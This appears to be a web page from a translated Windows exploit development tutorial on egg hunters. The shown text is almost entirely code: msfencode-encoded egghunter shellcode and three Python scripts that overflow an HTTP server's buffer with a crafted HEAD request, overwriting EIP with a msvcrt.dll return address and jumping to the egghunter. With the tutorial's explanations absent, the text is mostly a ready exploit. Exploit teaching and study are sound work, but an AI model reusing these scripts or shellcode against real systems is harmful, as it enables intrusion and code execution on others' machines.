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[翻译]Windows Exploit开发系列教程第四部分：Egg Hunters
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发表于:
2015-12-31 21:54
19055
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[翻译]Windows Exploit开发系列教程第四部分：Egg Hunters
root@bt:~/Desktop# ./bin.sh -i test.txt -o hunter -t B
[>] Parsing Input File
[>] Pipe output to xxd
[>] Clean up
[>] Done!!
root@bt:~/Desktop# msfencode -b '\xff' -i hunter.bin
[*] x86/shikata_ga_nai succeeded with size 59 (iteration=1)
buf =
"\xd9\xcf\xd9\x74\x24\xf4\x5e\x33\xc9\xbf\x4d\x1a\x03\x02" +
"\xb1\x09\x31\x7e\x17\x83\xee\xfc\x03\x33\x09\xe1\xf7\xad" +
"\xac\x2f\x08\x3e\xed\xfd\x9d\x42\xa9\xcc\x4c\x7e\x4c\x95" +
"\xe4\x91\xf6\x4b\x36\x5e\x61\x07\xc2\x0f\x18\xfd\x9c\x3a" +
"\x04\xfe\x04"
root@bt:~/Desktop# msfencode -e x86/alpha_mixed -i hunter.bin
[*] x86/alpha_mixed succeeded with size 125 (iteration=1)
buf =
"\xdb\xcf\xd9\x74\x24\xf4\x5d\x55\x59\x49\x49\x49\x49\x49" +
"\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x43\x37\x51\x5a" +
"\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41" +
"\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42" +
"\x75\x4a\x49\x43\x56\x6b\x31\x49\x5a\x6b\x4f\x46\x6f\x37" +
"\x32\x46\x32\x70\x6a\x44\x42\x42\x78\x5a\x6d\x46\x4e\x77" +
"\x4c\x35\x55\x32\x7a\x71\x64\x7a\x4f\x48\x38\x73\x52\x57" +
"\x43\x30\x33\x62\x46\x4c\x4b\x4a\x5a\x4c\x6f\x62\x55\x6b" +
"\x5a\x6e\x4f\x43\x45\x69\x77\x59\x6f\x78\x67\x41\x41"
#!/usr/bin/python
import socket
import os
import sys
Stage1 = "A"*600
buffer = (
"HEAD /" + Stage1 + " HTTP/1.1\r\n"
"Host: 192.168.111.128:8080\r\n"
"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; he; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12\r\n"
"Keep-Alive: 115\r\n"
"Connection: keep-alive\r\n\r\n")
expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect(("192.168.111.128", 8080))
expl.send(buffer)
expl.close()
#!/usr/bin/python
import socket
import os
import sys
#-------------------------------------------------------------------------------#
# badchars: \x00\x0d\x0a\x3d\x20\x3f #
#-------------------------------------------------------------------------------#
# Stage1: #
# (1) EIP: 0x77C35459 push esp # ret | msvcrt.dll #
# (2) ESP: jump back 60 bytes in the buffer => ???? #
#-------------------------------------------------------------------------------#
Stage1 = "A"*515 + "\x59\x54\xC3\x77" + "B"*2
buffer = (
"HEAD /" + Stage1 + " HTTP/1.1\r\n"
"Host: 192.168.111.128:8080\r\n"
"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; he; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12\r\n"
"Keep-Alive: 115\r\n"
"Connection: keep-alive\r\n\r\n")
expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect(("192.168.111.128", 8080))
expl.send(buffer)
expl.close()
#!/usr/bin/python
import socket
import os
import sys
#Egghunter
#Size 32-bytes
hunter = (
"\x66\x81\xca\xff"
"\x0f\x42\x52\x6a"
"\x02\x58\xcd\x2e"
"\x3c\x05\x5a\x74"
"\xef\xb8\x62\x33" #b3
"\x33\x66\x8b\xfa" #3f
"\xaf\x75\xea\xaf"
"\x75\xe7\xff\xe7")
#-------------------------------------------------------------------------------#
# badchars: \x00\x0d\x0a\x3d\x20\x3f #
#-------------------------------------------------------------------------------#
# Stage1: #
# (1) EIP: 0x77C35459 push esp # ret | msvcrt.dll #
# (2) ESP: jump back 60 bytes in the buffer => \xEB\xC4 #
# (3) Enough room for egghunter; marker "b33f" #
#-------------------------------------------------------------------------------#
Stage1 = "A"*478 + hunter + "A"*5 + "\x59\x54\xC3\x77" + "\xEB\xC4"
buffer = (
"HEAD /" + Stage1 + " HTTP/1.1\r\n"
"Host: 192.168.111.128:8080\r\n"
"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; he; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12\r\n"
"Keep-Alive: 115\r\n"
"Connection: keep-alive\r\n\r\n")
expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect(("192.168.111.128", 8080))
expl.send(buffer)
expl.close()
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